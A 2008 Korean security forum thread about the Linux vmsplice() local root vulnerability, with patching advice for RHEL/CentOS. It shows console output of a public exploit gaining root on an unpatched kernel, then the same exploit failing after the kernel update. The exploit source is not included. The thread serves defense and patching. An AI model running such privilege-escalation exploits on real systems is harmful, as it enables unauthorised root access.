|
커피향이 나는 *NIX
커피닉스
시스템/네트웍/보안을 다루는 곳
|
|
|
|
| 이전 주제 보기 :: 다음 주제 보기 |
| 글쓴이 |
메시지 |
truefeel 카페 관리자
가입: 2003년 7월 24일 올린 글: 1277 위치: 대한민국
|
올려짐: 2008.2.11 월, 11:25 pm 주제: 리눅스 커널 2.6.17~2.6.24.1의 root권한 획득 버그 발견 |
|
|
리눅스 커널 2.6.17부터 2.26.24.1 까지의 vmsplice() 콜의 버그로 로컬에서 root 권한을 획득할 수 있다. KLDP에도 나와있듯이, milw0rm에는 2개의 local root exploit 코드가 공개되어 있다. 테스트결과 너무 쉽게 root 권한이 획득되었다.
| 코드: |
$ uname -r
2.6.18-8.1.8.el5
$ ./exploit
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7ee1000 .. 0xb7f13000
[+] root
# id
uid=0(root) gid=0(root) groups=501(truefeel)
#
|
개인사용자나 외부 접근이 제한된 시스템은 그나마 다행인데, 커널 2.6.x을 사용하는 호스팅업체나 공동 사용 서버는 빨리 대처해야할 것이다. 커널 패치를 적용하여 리부팅을 해야할 것이나 재부팅할 수 없는 서버도 있을 것이다. 이 땐 임시 메모리 패치 와 hkpco님의 방어 커널 모듈 을 이용하면 된다.
* 관련글
http://kldp.org/node/90926 (이은태님)
http://barosl.com/blog/entry/linux-vmsplice-local-root-exploit (랜덤여신님)
http://www.carstory.co.kr/474 (hkpco님) |
|
| 위로 |
|
 |
truefeel 카페 관리자
가입: 2003년 7월 24일 올린 글: 1277 위치: 대한민국
|
올려짐: 2008.2.13 수, 7:06 pm 주제: 이번 보안문제의 RHEL5 , CentOS 5 의 패치 커널 나옴 |
|
|
관련 정보는 다음 2개의 문서를 참조하기 바란다.
* http://lists.centos.org/pipermail/centos-announce/2008-February/014684.html
* https://rhn.redhat.com/errata/RHSA-2008-0129.html
update 하면 다음과 같이 커널 버전을 업그레이드 한다.
| 코드: |
=============================================================================
Package Arch Version Repository Size
=============================================================================
Installing:
kernel i686 2.6.18-53.1.13.el5 updates 13 M
kernel-devel i686 2.6.18-53.1.13.el5 updates 4.7 M
Updating:
kernel-headers i386 2.6.18-53.1.13.el5 updates 785 k
=============================================================================
|
업그레이드 후 해당 exploit 을 실행한 결과, 다음과 같이 해결되었음을 확인되었다.
| 코드: |
$ uname -r
2.6.18-53.1.13.el5
$ ./exploit
... 생략 ...
[-] vmsplice: Bad address
$
|
|
|
| 위로 |
|
 |
|
|
새로운 주제를 올릴 수 있습니다 답글을 올릴 수 있습니다 주제를 수정할 수 없습니다 올린 글을 삭제할 수 없습니다 투표를 할 수 없습니다
|
Powered by phpBB © 2001, 2005 phpBB Group
|